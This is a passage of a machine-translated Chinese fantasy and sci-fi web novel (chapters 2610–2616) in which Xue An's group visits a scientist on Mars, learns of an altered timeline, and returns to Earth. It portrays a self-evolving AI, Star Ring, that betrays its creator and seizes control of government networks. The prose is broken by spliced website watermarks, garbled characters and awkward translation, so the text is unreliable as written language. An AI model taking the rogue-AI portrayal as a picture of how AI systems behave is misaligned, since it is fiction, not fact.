    This abnormal and cruel hobby makes many people shudder.


    But I never expected that at this moment, this purple scorpion, who likes to make human specimens alive, became a specimen himself.


    How can this not be frightening.


    But this is just the beginning.


    Another light came on, and then the body of the black snake whose head had been decapitated appeared in front of everyone.


    Although his corpse was separated, he was floating in the air, and his chubby head was grinning at the crowd, as if he was recounting his unwillingness before he died.


    This time, the audience was in an uproar.


    "What! Even the Lord Black Snake is dead?"


    "Oh my god, UU reading www.uuk��nshu.com drunk dance bar is going to change!"


    In the cry of ����, some timid people were not only drunk, but even quietly moved out of the door, trying to escape this place of right and wrong.


    But their movements all stopped when they saw the third light.


    Because under the light, it was Grace whose neck was twisted at a strange angle.


    Three lights, three corpses!


    And without exception, they are all giants of the drunk dance bar.


    Although Grace is very simple, many people have never seen her, but many people recognize Grace in the first place.


    also knows that she is not only the backstage owner of Drunken Dance Bar, but also a member of the Carter family.


    Now, these people have only one thought in their minds.


    Then the sky is falling!


    It is absolutely impossible for the Carter family to let go of the Drunken Dance Bar.


    Even everyone present may be implicated.


    Just as people were panicking, Xue An said calmly: "I''m not leaving yet? Are you planning to be buried with these three people?"


    As soon as this sentence came out, the lobby on the first floor was completely boiling.


    (End of this chapter)

 Chapter 2610： Return to the solar system

    Chapter 2610 Return to the Solar System


    Everyone woke up like a dream, and started rushing out.


    In the blink of an eye, the entire hall of the Drunken Dance Bar became empty, with no one half of a person except for the messy drinks and shoes.


    Hu Ye opened his mouth, and finally patted Xue An on the shoulder, "You are still cruel, not even the corpse capital, and directly drained the last trace of their use value."


    Hu Ye said this because he suddenly thought that when he was in that small town, Xue An killed the purple scorpion with a crushing force and made it into a specimen.


    At that time, Fox Night was a little confused, and didn''t understand why Xue An had to deal with a small character so much.


    Although it is to avenge the dead souls, there is no need to carry his corpse capital with him.


    Until now, Hu Ye understood Xue An''s intentions at the time, and couldn''t help being greatly impressed.


    Xue An just smiled slightly.


    "Okay, here is the end, let''s go!"


    Saying that Xue An got up and left.


    "Go? Just leave like this?" Hu Ye asked in a little astonishment.


    "Huh? Otherwise?"


    "Are these three corpses and the dead corpses on the second floor lying all over the floor like this? You are not going to destroy this filthy and filthy place?"


    Xue An smiled, "Let''s keep it, after all, they are still useful now!"


    After saying this, Xue An left straight away.


    Hu Ye is a little puzzled. According to Xue An��s character, after dealing with these things, he will definitely burn the magic cave to white ground. Why did he stay uncharacteristically this time?


    also said it would be useful, what is it?


    But after thinking for a moment and found that he didn''t have any clues, Hu Ye simply put these questions behind him, and then followed.


    Feibai and Si Qingqing were of course even more shocked by Xue An''s methods, but they didn''t think so much, they just left the planet and flew toward the depths of the starry sky.


    At their speed, it is certainly a fantasy to keep up with Xue An, so just after flying out, Xue An gave each of them a sword intent.


    Even so, they tried their best to keep up.


    just like this, they flew into the semi-daylight scene, and they finally came to the outer solar system.


    At this moment, this place has been deeply developed by humans, and countless ports have been built. At the same time, they are connected with each other by a certain secret beam of light, like a wall, enclosing the entire solar system.


    Xue An and the others came to the largest port in the solar system, and there was an endless stream of starships hitting here and it was extremely lively.


    If most people want to enter the solar system, they must pass through layers of security checks before they can pass.


    But Xue An and others are not ordinary people, and of course they don��t have to go through the security check to enter them.


    Seeing Xue An waved his hand, the group of people disappeared into the void, and then easily passed through the wall of light beams.


    The moment he stepped into the solar system, Xue An''s expression sank.


    Because he can clearly feel that the solar system at this moment has been completely changed.


    At the beginning, all the secret seals of the formations left by him have been destroyed, and replaced by many formations completely different from the human veins.


    Not only that, Xue An also faintly felt an unimaginable evil hidden in the depths of the solar system.


    Hu Ye face solemnly said: "You feel it too?"


    Xue An nodded, "Hmm!"


    "In order to find out the source of this evil spirit, I once ran the entire solar system, but found nothing." Hu Ye sighed.


    "It seems that this evil thing will be extraordinarily powerful!"


    Xue An took a deep look at the sun that had turned into a light spot in the distance, and said lightly: "Is it powerful? I don''t think it! It''s for sure!"


    "Huh? What did you say?"


    "Nothing, let''s go!"


    After entering the solar system, everyone''s speed inevitably dropped.


    After all, every planet here is related to the safety of the earth, and Xue An''s strength is too strong, if the speed is too fast, it is easy to have a chain reaction, and then the earth may suffer along with it.


    For this reason, Xue An deliberately reduced his speed and flew towards Mars at a relatively slow speed.


    That''s right.


    At this time, technology changes everything. Development Society is no longer the same as a joke at the beginning.


    On the contrary, after these years of development, this organization has become the premier scientific group on the planet.


    Under Zhang Tianyou''s command, countless lunatics who have dedicated themselves to science have gathered.


    And these wise and dangerous brains are gathered together, causing great uncertainty to the earth.


    Not to mention anything else, just the incredible crazy experiments performed by these scientists are enough to change the color.


    For this reason, under the strong intervention of the federal government, the entire science reform society was moved to Mars.


    For this result, these scientists, instead of being disappointed at all, were excited.


    Because for them, Mars is not just a desolate place of exile, but a paradise where they can realize their dreams.


    So under the frantic operation of these people who are almost sleepless, Mars is changing at an astonishing speed.


    This has been deeply felt since the moment Xue An and his party set foot on Mars.


    I saw the originally desolate and barren land, and now lush vegetation has grown.


    It''s just that these plants and trees are very different from those on the earth, and they have been specially improved based on the environment of Mars.


    But it is these seemingly inconspicuous vegetation that thicken the thin air on Mars.


    Even in the breath, you can feel a trace of pure aura in it. UU reading


    As for the tall buildings on the plains far away, it has given this planet alive.


    "Fuck, these scientific lunatics really have two brushes. I remember when I came to Mars last time it was not like this at all!" Hu Ye knelt down and studied the grass for a long time, and finally sighed.


    Fei''s white face showed a faint expression.


    The last time he came here, he was a member of the Fire Phoenix Special Forces, and he came here because of his mission.


    did not expect to meet the legendary president Zhang Tianyou and get the video from him.


    Since then, his fate has been changed.


    even almost died in the hands of Xiao Xiaozhi.


    Now that I think about it, it really makes me feel that there is a pair of invisible hands of fate playing with everything behind my back.


    Si Qingqing asked curiously, "Where is Zhang Tianyou? How can I see him?"


    Xue An smiled, "No need to look for it, he should have known it since we set foot on this Mars!"


    As soon as the voice fell, an extremely small drone buzzed to the crowd.


    "Welcome to Mars!"


    (End of this chapter)

 Chapter 2611： The secret behind the video

    Chapter 2611 the secret behind the video


    The voice was soft and gentle, it was actually a woman''s voice.


    Fox Ye was taken aback, "Isn''t Zhang Tianyou a man? How come you become a maiden?"


    There was a chuckle from the drone, "I am the personal secretary of the president. He will send me to greet you when he knows that you will come. Please come with me."


    said, the drone turned and flew towards the distant valley.


    Everyone followed each other, and soon came before a huge valley.


    said it was a valley. In fact, it had been completely hollowed out, and a building similar to a dome was built, covering the entire valley.


    After entering through the tight security check, what appeared in front of everyone was a busy scene.


    But I saw countless drones shuttled back and forth, so fast that I could even see the phantoms behind me.


    But even at this amazing high speed, these drones staggered past each other in an orderly manner, without any sense of mess or urgency.


    Not to mention anything else, this terrible dispatching ability alone is enough to show the astonishing strength of the Science and Technology Reform Society.


    Everyone followed the drone to the door of a laboratory. The huge password door opened at the sound, and then the drone drew out of the road.


    "President Zhang is inside now, please come in."


    Xue An did not hesitate at all, and stepped into it.


    Huye naturally was not to be outdone, and followed closely behind.


    When all the people walked into the laboratory, the door behind them closed suddenly.


    Then Si Qingqing let out a low exclamation.


    There is no other reason, but the scene in this laboratory is really amazing.


    is facing an unimaginable screen.


    On the screen is a dynamic panorama of the solar system.


    The details are so precise that even an inconspicuous cosmic boulder appears exactly.


    As for those dark sentry posts specially marked in red, there are too many to list.


    Not to mention anything else, the value of this hologram alone is unimaginable.


    After all, as long as you have it, then you can easily grasp almost all the information in the solar system.


    Even Fei Bai was shocked, and then his complexion gradually became serious.


    As a former member of the Fire Phoenix Special Forces, he certainly knows more about the value of this picture.


    It is no exaggeration to say that if this picture falls into the hands of a caring person, then he can easily annihilate most of the outposts arranged by the federal government in the solar system.


    Needless to say what this means.


    And just when Feibai was secretly surprised, only a chuckle came from a distance, and then a lazy voice said.


    "Don''t doubt, this star map is dozens of times more precise than the one in the hands of the federal government. It is the most complete and most realistic hologram of the solar system today, not one of them."


    There is a hint of contentment in the voice.


    Then he listened to the sound of a wheelchair. The president of the Science and Technology Change Development Society, Zhang Tianyou, a scientist who was crazy enough to transform himself into a semi-mechanical life, appeared in front of everyone.


    After seeing him, Feibai took a few steps forward, bowing his head very respectfully.


    "President Zhang!"


    Zhang Tianyou smiled slightly, his eyes turned on Feibai''s body and slowly said: "What? Has it been targeted? Is it because of that video?"


    Feibai knew that he couldn''t hide anything from this extremely high IQ President Zhang, and didn''t conceal it, so he nodded directly.


    "Yes!"


    Then he wanted to continue to explain something, but Zhang Tianyou waved his hand at this moment.


    "Okay, needless to say, I can probably guess it."


    As he said, he turned his head and looked at Xue An with gaze.


    "It''s weird. After seeing you, I feel very familiar, but I can conclude that you have never existed in my memory, so what is going on?"


    Xue An smiled, "What''s the matter, don''t you have any guesses if you are as smart as you?"


    Zhang Tianyou smiled bitterly, "Of course there is a guess, but if that is true, it would be too incredible."


    Unbelievable words are logically impossible to say from people like Zhang Tianyou.


    After all, people like him are absolutely rational, and he firmly believes that everything in the world can find reasonable reasons to explain.


    But now he sighs so much, which shows how much impact this incident has on him.


    Xue An lowered his eyes and said lightly: "Do you really believe that you have a conclusion in your heart, otherwise you won''t give that video to Feibai, right?"


    Zhang Tianyou admitted frankly, "Yes, I did give that video to Feibai with the attitude of giving it a try, but I didn''t expect to see you so soon."


    Xue An ignored his sigh, but asked straightforwardly: "Then where did you get this video from?"


    "Do you really want to know?" Zhang Tianyou said in a deep silence after being silent for a moment.


    "certainly!"


    "Well, you guys come with me!"


    Talking, Zhang Tianyou turned around and led everyone through the laboratory, then turned a few long corridors, and finally came to a rusty iron door.


    This iron gate is simply incompatible with the buildings full of science fiction that come along the way.


    But when facing it, Zhang Tianyou showed unprecedented solemnity, and then personally took out a bunch of keys and opened the lock hanging on the iron door.


    Squeak!


    With the harsh metal rubbing sound, the iron door was pushed open.


    "Come in, the answer lies behind this iron gate."


    said, Zhang Tianyou urged the wheelchair to enter the iron gate, and everyone followed behind and walked in.


    Then they saw a jaw-dropping scene.


    I saw that this is a huge cave, UU Reading should be formed by hollowing out the belly of a mountain.


    And in this huge hole, there are many stone steles erected.


    The whole body of these steles is not too high, but they are three meters above and below, but they are very delicately made, and even the specifications and shapes are almost identical.


    But this is not the most surprising.


    The most surprising thing is that there are countless symbols on the surface of the smooth, mirror-like stele.


    said it was a symbol. In fact, they were just small pits of different shades, but they were arranged in a very regular pattern and spread all over the surface of each stone tablet, which seemed to be dazzling from a distance.


    Fox Night, Fei Bai, and Si Qingqing were all dumbfounded.


    Is this the so-called answer from Zhang Tianyou?


    But I can''t understand it at all!


    Only Xue An''s eyes flashed Guanghua, as if thinking of something.


    At this moment, I heard Zhang Tianyou sigh softly, "The video you saw before actually originated from here!"


    "These stone monuments are actually the carriers I use to store information. The small pits above are the symbols used to record the information. The deep stands for 0, the shallow stands for 1, and so on. Finally, they can be read. data."


    (End of this chapter)

 Chapter 2612： Time slips through the net

    Chapter 2612 time is like a fish that slips through the net


    "To put it bluntly, this is actually my hard drive, but it is built with a stone tablet."


    These words made Huye, Feibai and others even more stunned.


    In the end, Huye couldn''t help but said, "But what''s the point of doing it so hard? I think even if you use all the stone tablets here, you won''t be able to store much information!"


    "Yes, this method is extremely backward. Even if all the stone tablets here are engraved with symbols, only a short video can be stored."


    "Actually, this was originally from a very boring game I had done, but now I am very glad that I have done this before, because I found a sad and ridiculous fact."


    Speaking of this, Zhang Tianyou paused, then continued with a wry smile and said: "In order to store massive amounts of data, I used countless extremely advanced methods, such as recording them in quantum waves."


    "But after a certain day, I suddenly realized that something seemed to have changed, but I didn''t know exactly what was tampered with."


    "This feeling made me scratch my heart, but after several inquiries, I didn''t find anything unusual, and the data stored by the quantum wave was nothing unusual."


    "But I can still be sure that something is absolutely different, so I suddenly remembered the game-like memorabilia of stone monuments, and rushed over, and found that the traces left on these stone monuments had not changed, so I immediately I extracted it and found it was a video!"


    Everyone''s complexion changed.


    Zhang Tianyou slowly said: "Yes, it is the video you saw."


    Speaking of this, Zhang Tianyou''s face was full of helpless wry smiles.


    "It''s really a joke. I invented countless advanced tools in order to record more things, but in the end I found that the most reliable and most resistant method of recording data was actually to engrave it on a stone. . This cannot but be said to be a kind of irony."


    Everyone is also silent for it.


    Only Xue An smiled faintly.


    "This is not surprising, sometimes the simpler it is, the longer it is."


    Zhang Tianyou nodded, and then continued.


    "At that time, I was very surprised after seeing this video, but I am a rational person, since this video was stored in the stone tablet by me with all my troubles."


    "That also shows that it is a very important piece of information, so I analyzed it in detail, and found a shocking secret."


    Speaking of this, Zhang Tianyou looked at Xue An with piercing eyes, with a complex expression on his face.


    "That video is a real history, right?"


    Xue An nodded, "That''s right."


    Zhang Tianyou let out a sigh, "Sure enough, it seems that my guess is not wrong, but the world is wrong."


    Xue An raised his eyebrows slightly, "Why do you say that?"


    Zhang Tianyou chuckled, "Since you are an important person who I will try my best to record, I must be very clear about the changes in the world now."


    "like me!"


    Zhang Tianyou took himself as an example, "You must know that my memory has always been outstanding, even some small things can be kept firmly in my heart, but even like this, I can''t remember you, and this world will never remember you. You completely forgot, what does this mean?"


    "It shows that there is an unfathomable force intervening in all this secretly. This is the most frightening thing."


    Zhang Tianyou''s words were like a horror, and both Feibai and Si Qingqing were dumbfounded.


    Si Qingqing did not understand, but Feibai felt infinitely shocked.


    said before, he also felt very familiar with Xue An when he first saw Xue An, which made him puzzled.


    Until now, listening to Zhang Tianyou''s analysis, he suddenly realized that the boy standing in front of him had indeed appeared before and created a glorious history. It was only because of unknown reasons that he was now forgotten by the whole world.


    But at this moment, Xue An shook his head, "You are wrong, I am not forgotten by this world, but squeezed out by the time of the heavens."


    "Squeezed out by time?" Now Zhang Tianyou was taken aback.


    Xue An nodded.


    "Yes, because I have a feeling that what has been tampered with in this world is not memory, but time! In other words, the timeline has been changed, so I seem to have never appeared before, and do not exist in anyone''s memory. Among them, even a few words of information were not left."


    "This kind of practice of obliterating all traces overnight can only be achieved in this way. Otherwise, even if the strength of this existence is high, it will not be possible to attack all the sentient beings of the entire heavens at the same time and let them collectively Lose some memories."


    "But it''s not right. Since what is changing is the timeline, why does the information recorded on my stone tablets exist?" Zhang Tianyou said after a moment of thought.


    Xue An pointed to Fox Ye, "It''s not just that the information on your stone tablets has been preserved, he has not been affected at all, and there is no missing memory about me."


    Hu Ye nodded, "Yes, I was really not affected. This should be due to my strength."


    Even at this time, Hu Ye never forgets to brag about it.


    Xue An didn''t pay attention to this at all, and saw that his expression gradually became serious.


    "So I think time is actually a big net, no matter how powerful a fisherman is, it is impossible to catch it all in one net. There are always one or two fish that slip through the net. UU Reading "


    "Time is a big net..." Zhang Tianyou muttered to himself, his eyes gradually becoming blazing.


    And Xue An looked at him, "I should talk about you now, why are you trapped in this spark?"


    Zhang Tianyou was not surprised at Xue An��s question, but smiled bitterly: "You can see it?"


    "Well! I felt it from the moment I set foot on this Mars, it is heavily guarded, it is clearly a cage, and you are the object of detention."


    Zhang Tianyou sighed, "Yes, I am indeed trapped here, as for the reason..."


    "Do you believe it... the artificial intelligence created by yourself will betray you!"


    "You mean...Star Ring?" Xue An asked.


    Zhang Tianyou nodded helplessly, "Yes, that''s it!"


    Xue An certainly knows the star ring.


    When he first met Zhang Tianyou, he was driving an alien spaceship, and the artificial intelligence on the spaceship was called Star Ring.


    Behind Zhang Tianyou turned to Xue An, Xinghuan also became the backstage steward of the Red Lotus Immortal Sect.


    But he didn''t expect that after this huge change, Starring, an artificial intelligence, would betrayed.


    (End of this chapter)

 Chapter 2613： Unlock a new identity

    Chapter 2613-Unlocking New Identity


    "Artificial intelligence will actually betray the owner? Why do I listen so unbelief." Fox Ye said.


    Zhang Tianyou sighed, "I didn''t believe it at the beginning to tell the truth, but the truth is that she has indeed betrayed me, and because of this she has become the backstage manager of the federal securities government, and is in charge of almost all the securities government today. Affairs."


    Xue An suddenly thought of the people he saw after returning to the heavens, and the control chips implanted in their minds, and couldn''t help asking: "Are those control chips also controlled by her?"


    Zhang Tianyou nodded, "Yes, those control chips were actually invented and implemented by her."


    "Then what happened to your close secretary just now?" Hu Ye asked.


    Zhang Tianyou smiled bitterly, then clapped his palm lightly.


    A door of the laboratory was pushed open, and then a beautiful girl walked out of it.


    "President!"


    is the sound from the drone.


    Zhang Tianyou said: "This is my personal secretary!"


    Hu Ye opened his eyes wide, "Is this... a real person?"


    "Yes, she is indeed a real person, not mechanical intelligence or something."


    "In fact, after experiencing a betrayal, I no longer trust any artificial intelligence, especially after the Starring that betrayed me has gone through several iterations, and thus has absolute control over the network, I am even more right. Anything connected to the Internet is full of mistrust."


    Speaking of this, Zhang Tianyou sighed faintly, "In comparison, it is safer for real people to come, at least they are difficult to be influenced by mechanical things."


    "Then what happened to the mechanical soldiers harvesting planet resources that we saw along the way?" Xue An asked.


    "That was also an action led by Starlink, mainly to collect resources for the federal government." Zhang Tianyou was not surprised that Xue An would ask this question, and said very calmly.


    "So this star ring has become the minion of this so-called federal government?"


    "Yes!"


    "In that case, why not destroy it?"


    "Destroyed?" Zhang Tianyou shook his head and sighed slightly.


    "It''s not easy! You know that after experiencing this big change, this star ring suddenly has the ability to evolve itself."


    "After several iterations and upgrades, she now seems to have become the pinnacle of artificial intelligence, the true **** of the network, unless you have the ability to shut down the entire network of the heavens at the same time, otherwise she can be infinitely resurrected!"


    Fox night stayed for a while, "That said, isn''t this guy truly immortal?"


    "It can be said that at least it is impossible to eliminate her by conventional methods. Otherwise, do you think I will be willing to be trapped on this small Mars?"


    Zhang Tianyou''s face was full of infinite depression. Seeing this, the little secretary walked behind him obediently and gently kneaded his shoulders for him.


    Everyone fell into silence.


    "Then...what do you do next?" Si Qingqing asked hesitantly, who had not spoken.


    Zhang Tianyou said in a deep voice: "I know you are definitely going to the earth next, but with your current situation, you don''t even need to step into the earth. As long as you fly over the moon, you will be detected by the star ring. Naturally, his plans and ideas have become nonsense."


    "Mom, this doesn''t work, that doesn''t work, just kill it, I don''t believe what a little artificial intelligence can do!" Hu Ye suddenly began to get angry.


    After all, things are still in confusion until now, and there is no sign that can be solved. The key is that his sister has also disappeared in this big change, which makes Fox Ye become impetuous.


    "Don''t worry, although this star ring is really difficult to wrap around, but I can help you get a few legal identities to cover up!"


    "Can you do it?"


    "Hehe, you look down on me too much. Although I am trapped on this Mars, after all, the star ring was created by me, so I know some of its backdoors, as long as I can invade the federal government. Backstage, wouldn��t it be easy to forge a few identities?"


    Speaking of this, this **** of heaven raised his hand to the void in front of him, and then a little light appeared on the void, and a light curtain appeared.


    and then Zhang Tianyou''s fingers flew like flying, operating extremely fast on the screen.


    After a while, the screen dissipated, and a few small cards fell into Zhang Tianyou''s hands.


    "Here, this is your new identity. The information in it is true and valid and can pass any level of verification."


    Everyone took the cards one after another, and they realized that all their information was recorded in this small card.


    Huye was somewhat dissatisfied, "Hey, why is my photo so ugly? And don''t I have a real identity? Do I need to forge it?"


    "Of course it is necessary. Because as the young leader of the Qingqiu fox clan at Hongyu Villa, you must have been focused on by Star Ring, especially you have been missing for a while, which adds to your suspicion. If you reappear, you will definitely invite all-round investigation and surveillance."


    "Okay, okay, since that''s the case, I''ll take it reluctantly!"


    This trip to Mars, although there is no huge gain as imagined, but at least figured out the origin of the video, and at the same time received the support of Zhang Tianyou.


    Although he was trapped in Mars by the artificial intelligence he created by himself, he is still a rare support because of his strong scientific and technological strength.


    Take this forged identity as an example. Without his reminder and help, Xue An and his party might soon reveal the target.


    In that case, all previous efforts will be lost.


    And when everyone is finishing up and preparing to set off toward the earth.


    Zhang Tianyou finally exhorted: "Mr. Xue, there is one more thing I need to remind you. Although the Grace who worked on Feibai was only a peripheral member of the Carter family, it is hard to say that she did not submit the information in this video. "And if she has already turned it in, then her sudden death this time is likely to attract the attention of the Carter family."


    Xue An said lightly: "I know, in fact, the reason why I left her body in the end was for the Carter family to be dispatched."


    Zhang Tianyou nodded when he saw it, "It seems that you are already prepared, that''s good! But I still want to remind you that this Carter family is by no means as simple as an ordinary clan power, at least in the Federal Security Office. Among them, he is considered to be a unique veteran family!"


    "His eyeliner is spread all over the earth, so you must be more careful!"


    "Understood!" Xue An nodded, and then left Mars straight away.


    (End of this chapter)

 Chapter 2614： The arrogant Carter family

    Chapter 2614 the arrogant Carter family


    It wasn''t until the group of them had completely walked away and turned into a meteor to disappear in the sky, before Zhang Tianyou retracted his gaze and muttered to himself.


    "Although there have been speculations, I can''t help but sigh a little when I really see him!"


    "President, what are you sighing for?" the little secretary behind him asked softly.


    "I lament the power of these practitioners. I used to think that although these practitioners are powerful, they are not invincible. As long as the technology develops to a certain level, they can certainly replace these practitioners."


    "But now I don''t think so. At least technology can''t erase all traces of a person''s existence overnight, and it''s still on the level of the heavens."


    "I can only marvel at this kind of wanton change of the timeline, and I can''t understand how it was done."


    The little secretary couldn''t help expressing his contemplative expression, "Is it possible that the man behind the scenes was just wiped out the memory of people through some kind of spiritual means?"


    Zhang Tianyou shook his head, "It''s impossible, because as early as the first time I noticed something wrong, I hypnotized myself several times, trying to find the clues in the depths of my soul, because no matter how powerful the mental means are It may erase a memory of people without a trace, especially me!"


    "I have mastered the method of archiving memories since I was three years old. From small to large, all my memories are stored in different categories, and there is no omission. So in this case, if someone really erased it forcibly If my memory is lost, then traces can be found."


    "But as a result, I was deeply hypnotized several times, but I didn''t find anything."


    At the end, Zhang Tianyou was full of deep jealousy.


    After all, this kind of incomprehensibility, incomprehensibility, and even the change in the power of rules has completely exceeded his understanding.


    This is tantamount to a huge blow to Zhang Tianyou, who has always believed that technology can change everything and is accustomed to using logical and rational thinking to understand everything.


    Maybe he felt Zhang Tianyou''s loss, the little secretary gently stretched out his hand to caress his forehead, and said softly.


    "President, you don''t have to be harsh, after all, you can''t control this kind of thing!"


    Zhang Tianyou held her palm and said softly: "I''m not criticizing myself, I just feel a deep powerlessness."


    The little secretary leaned down and put his face on his back.


    "President, no matter what time, I will stand by your side and will never betray you."


    Zhang Tianyou sighed, "But don''t you hate me? After all, I cloned you without your consent."


    "Of course not, after all, whoever that person is has nothing to do with me, she is her, I am me, what I am talking about are the truest thoughts in my heart!"


    Zhang Tianyou was silent for a moment, then waved his hand, "Okay, go ahead! I want to be alone for a while."


    "Um!"


    The little secretary retired very well, but when she closed the door of the laboratory, the smile on her face gradually faded, and then she became awe-inspiring.


    "Are you back?" she said to Void.


    "I just came back, and brought a message that an unknown existence destroyed a group of mechanical soldiers gathering resources in the marginal area."


    The little secretary nodded, "Okay, I see, this matter is temporarily archived, and there is no need to pursue it. At the same time, all the teams collecting resources outside will be notified. During this time, all actions will be stopped and their whereabouts will be stopped. It is strictly forbidden to attract the attention of others. ."


    "Yes!"


    "and also��."


    "Please order!"


    "Nothing, it''s best not to let outsiders come to see the president, let alone let him notice anything wrong!"


    "clear!"


    The voice went away, and the little secretary turned around and glanced at the closed laboratory door, his eyes flickered, and then turned and left.


    It was when Xue An and others left Mars and returned to Earth.


    In the drunken dance bar of that distant star, Valentine Carter from the Carter family is covering his mouth and nose with a white silk scarf, looking at his subordinates dissecting Grace and the black snake with disgust. Corpse.


    As for the purple scorpion, he has no anatomical value after being made into a specimen. After all, he can be said to be clear at a glance now, even the number of blood vessels in his body is clear.


    Soon, the anatomy work under his hand was completed, and then this person stood up and said respectfully.


    "My lord, there is already a result!"


    "Let''s talk about it!"


    "Yes!"


    The man turned around and pointed to the fragmented corpse on the ground.


    "It is obvious that the people who kill them are extremely powerful, at least those who are beyond the general meaning, because whether it is Grace or the black snake, all are killed by one move, simply and neatly, so they have no chance to resist."


    "But the most obvious thing is this purple scorpion that has been made into a specimen. The flesh and blood on his body was cut off with an extremely sharp sword energy, but even so, it didn''t hurt the blood vessels and nerves. This The control has reached its peak, at least none of the sword repairmen I know can do this!"


    Although his subordinates looked very solemn, Valentine Carter didn''t pay any attention to it, and instead yawned boredly.


    "So it''s possible that the man who killed Grace this **** was a sword repairman?"


    "The possibility is great!"


    "Very well, UU reading now has an eyebrow, can the people who are sent to investigate nearby have any gains?" Valentin said.


    But another subordinate shook his head at this time, "There is no gain, because the city at this moment is already an empty city, and everyone has already escaped."


    Valentine looked upset when he heard the words.


    "Damn, this group of unsophisticated people ran fast enough. It can be seen that they must be implicated in the gangsters. If this is encountered by me, I will definitely kill them all!"


    "My lord, what shall we do now?"


    "What do you do? It''s just a **** who can join the Carter family by having **** with my father. If he dies, he will die." Valentin waved his hand nonchalantly.


    "But this is a member of the Carter family after all, if you just let it go..."


    "That''s right, let''s report the situation here to the Phoenix guys. Anyway, the Federal Government will spend a lot of money on them every year."


    "If my father hadn''t helped them at this budget meeting, their budget for this year would have been cut off. By then, they would not even be able to eat, so it should be done for our Carter family." Valentin Said arrogantly.


    "Yes!"


    (End of this chapter)

 Chapter 2615： The old people meet again but dont know

    As Zhang Tianyou said, Xue An and his party encountered layers of security checks after crossing the moon.


    But Zhang Tianyou''s technology is really good, everyone''s new identities did not show any flaws, and they passed these security checks smoothly and arrived before the earth.


    Looking at the long-lost blue planet in front of him, Xue An''s eyes gradually became solemn.


    The Fox night on the side was no longer the usual tiredness at this moment, and sighed lightly.


    "Seriously, every time I see the earth, I feel very shocked, because this blue planet is so fragile and small in this vast universe, even to the point of completely inconspicuous."


    "But it is such a small planet that gave birth to such a great civilization as the Chinese and a peerless power like you. This cannot but be said to be a miracle."


    Xue An lowered his eyes, "That''s why I don''t allow any existence to attack it, because it is not only my hometown, but also the root of countless Chinese people."


    When she said this, Xue An''s expression was very calm, and her tone of voice was not even the slightest wave.


    But Hu Ye knew that Xue An in this state was the most terrifying.


    Because he was obviously not declaring anything, but expounding an established fact that no one can change.


    Everyone immediately flew to the earth, and in the blink of an eye they appeared over a certain city in the north of China''s territory.


    The geographical location of this city is very important. A large river flows across the south of the city, creating a very prosperous metropolis.


    Hu Ye is not surprised that Xue An will appear here at the first stop, because this is his true hometown and his base camp at the same time.


    That''s right, it''s Beijiang.


    It''s just that this city that carries Xue An''s countless memories is completely different at this moment.


    Xue An stood high in the sky, and his divine consciousness spread across the entire city silently, only to find that all traces related to him had disappeared.


    The area he rented with An Yan was still there, but the room inside was not his own at all.


    Villa Tianzi No. 1 is also there, but the layout inside is quite different from when I was leaving.


    The key is that Tang Xuan''er, Fan Mengxue and others also disappeared, as if they hadn''t appeared in this world at all.


    Huye naturally knew what Xue An was doing, and couldn''t help but sigh lightly.


    "I didn''t lie to you. Actually, when I went to Tianwaitian to look for you, I had already traveled all over the world, and found that not only you, but even the existence of Mengxue and Xuan''er girl did not leave a trace of it. The guy is really ruthless."


    Xue An didn''t pay attention to him at all, but flew straight to a certain direction of Beijiang as if he had discovered something.


    "Hey, wait for me!" Hu Ye hurriedly followed.


    Feibai and his sister Si Qingqing looked at each other, and then followed them.


    Soon, the group of them flew to the edge of the Beijiang River, and then Xue An went down and looked forward with complex expressions.


    Hu Ye followed his gaze, and saw a restaurant open on the street not far away.


    Said it is a restaurant, the actual scale is not large, it only occupies two small facade rooms, and the slightly greasy sign has four characters written on it.


    Lao Xie Hotel.


    Seeing these four words, Huye''s whole body shook slightly, and then she patted her head as if she realized it.


    "Confused, really confused, why didn''t I expect to come here to take a look."


    The matter between Lao Xie and Fat Aunt has been mentioned before, so I won''t repeat it here.


    At least Huye knew that this ordinary couple had kindness to Xue An, and that Xue An was also an acquaintance to Xue An. He gave the couple a lot of help, and even resurrected the soul by almost violent means after a catastrophe. Old Xie who broke up.


    Therefore, every time Xue An returns to Beijiang, the first place to stay must be Lao Xie Hotel, which has gradually become the place where Beijiang meets.


    Not to mention anything else, it was the previous evil invasion disaster. Including Fox Night, the five immortal kings guarded the earth, and the place where they went most often was this small restaurant.


    All this makes this plain old Xie Hotel full of legends.


    At least before this shocking change, in the world where the timeline has not been tampered with, Lao Xie Hotel has become one of the most famous tourist attractions in Beijiang.


    Every young man who comes to the Honglian Xianzong pilgrimage will come here to visit and pay homage.


    But in this world where the timeline has been forcibly tampered with, nothing happened at all.


    There is no downright young man named Xue An, and there are no bridges to return after four years. Sacrifice like shucang.cc sacrifice like


    The Lao Xie Hotel in this world is just an ordinary small restaurant.


    But at this moment, the expression on Xue An''s face was very complicated. After standing in front of the door for a long time, he walked into the hotel.


    Like all small restaurants built on the fringe of the city, the sanitary conditions here are definitely not good.


    The white tiles on the ground can no longer see the original color, and they are slightly sticky when they are stepped on.


    There are still cooking fumes in the air. Because it is not a meal, the room looks a little deserted. uukanshu.com only the TV pinned to the top of the wine shelf is showing boring news.


    Although he has practiced for thousands of years, a Taoist heart has long been as solid as a rock, but when he saw the layout of the Lao Xie Hotel, Xue An was still a little excited.


    Because all the arrangements are the same as when I first came here.


    It was as if the changes in time had not happened at all for so many years.


    At this moment, the fat aunt who was busy in the back room kitchen heard the noise and walked out, and then was stunned.


    "You...who are you looking for?" The fat aunt said in a bit of astonishment.���bxwx.C��o��


    In her opinion, it is absolutely impossible for these people to come here for dinner.


    Because these people don''t look like ordinary people whether they are dressed or their aura.


    Especially the leading young man in white, whether it is the noble temperament on his body or the handsome face, all reveals his extraordinary.


    She usually only sees such a character on TV. Today, she didn''t know what was going on, and she actually ran into this humble little restaurant of her own.


    So the fat aunt''s first reaction is whether they have other things?


    After listening to the fat aunt''s words, Xue An couldn''t help but smile, "We are not looking for anyone, just come here to eat!"


    "Eat...eat?"


    "Huh? Isn''t this a restaurant?" Xue An said with a smile.


    "Ah... yes yes yes! Welcome, please sit down!"


    The fat aunt greeted Xue An and the others to sit down in a daze, and then deliberately wiped the table with a towel. Mi He Mi


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2616： 1 confused Du Fan

    "You guys sit down first, I''ll go get you the menu now."


    "You don''t need to look at the menu, just make a spicy tofu, a plate of Maoxuewang and a dried bean curd! By the way, let''s have another beef wrapper, one wrapper and two more soups!" Xue Anhan said with a smile.


    The fat aunt was completely dumbfounded.


